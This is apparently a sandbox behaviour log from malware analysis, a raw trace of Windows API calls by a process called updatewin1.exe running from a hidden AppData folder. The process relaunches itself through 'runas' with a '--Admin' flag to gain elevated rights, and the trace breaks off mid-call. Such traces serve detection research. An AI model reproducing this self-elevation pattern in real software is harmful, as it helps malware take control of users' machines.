[0051.965] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0051.965] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0051.965] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" " [0051.965] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" ", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x32d2b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" [0051.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x32d388 [0051.965] lstrcpyW (in: lpString1=0x18e5a0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" [0051.965] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff") returned 1 [0051.966] lstrcpyW (in: lpString1=0x18eda0, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0051.966] ShellExecuteExW (in: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18e528*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", lpParameters="--Admin", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0052.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x32d388 | out: hHeap=0x300000) returned 1 [0052.212] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0052.212] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0052.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x32a0d0 | out: hHeap=0x300000) returned 1 [0052.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x32cab0 | out: hHeap=0x300000) returned 1 [0052.212] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.212] GetLastError () returned 0x57 [0052.212] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f56c | out: phModule=0x18f56c) returned 0 [0052.212] ExitProcess (uExitCode=0x0) [0052.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x32a9e8 | out: hHeap=0x300000) returned 1 [0052.214] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 51 os_tid = 0xa0c Thread: id = 52 os_tid = 0xa10 Thread: id = 53 os_tid = 0xa14 Thread: id = 54 os_tid = 0xa18 Process: id = "7" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" page_root = "0x30425000" os_pid = "0xa1c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa00" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" --Admin" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 55 os_tid = 0xa20 [0052.267] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x403658e0, dwHighDateTime=0x1d53dff)) [0052.267] GetCurrentProcessId () returned 0xa1c [0052.267] GetCurrentThreadId () returned 0xa20 [0052.267] GetTickCount () returned 0x1bf58 [0052.267] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17250411335) returned 1 [0052.280] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0052.280] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1f80000 [0052.281] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.281] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0052.281] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0052.281] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0052.282] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0052.282] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.282] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.282] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.282] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.282] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.282] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.282] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.282] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.282] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.282] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.283] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.283] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.283] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.283] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.283] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.283] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.283] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x214) returned 0x1f807d0 [0052.283] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.283] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.284] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0052.284] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0052.284] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0052.284] GetCurrentThreadId () returned 0xa20 [0052.284] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0052.284] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x8, Size=0x800) returned 0x1f809f0 [0052.284] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0052.284] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0052.284] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0052.284] SetHandleCount (uNumber=0x20) returned 0x20 [0052.284] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" --Admin" [0052.284] GetEnvironmentStringsW () returned 0x584e78* [0052.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0052.284] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x0, Size=0x565) returned 0x1f811f8 [0052.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1f811f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0052.284] FreeEnvironmentStringsW (penv=0x584e78) returned 1 [0052.285] GetLastError () returned 0x0 [0052.285] SetLastError (dwErrCode=0x0) [0052.285] GetLastError () returned 0x0 [0052.285] SetLastError (dwErrCode=0x0) [0052.285] GetLastError () returned 0x0 [0052.285] SetLastError (dwErrCode=0x0) [0052.285] GetACP () returned 0x4e4 [0052.285] RtlAllocateHeap (HeapHandle=0x1f80000, Flags=0x0, Size=0x220) returned 0x1f81768 [0052.285] GetLastError () returned 0x0 [0052.285] SetLastError (dwErrCode=0x0) [0052.285] IsValidCodePage (CodePage=0x4e4) returned 1 [0052.285] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0052.285] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0052.285] GetLastError () returned 0x0 [0052.285] SetLastError (dwErrCode=0x0) [0052.285] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0052.285] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.285] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.285] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0052.285] GetLastError () returned 0x0 [0052.285] SetLastError (dwErrCode=0x0) [0052.285] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0052.285] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.285] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ泔䈕㞕AĀ") returned 256 [0052.285] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ泔䈕㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0052.285] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ泔䈕㞕AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xd0\x9f\xdb\x44\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0052.285] GetLastError () returned 0x0 [0052.286] SetLastError (dwErrCode=0x0) [0052.286] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.286] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ泔䈕㞕AĀ") returned 256 [0052.286] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ泔䈕㞕AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0052.286] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ泔䈕㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0052.286] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 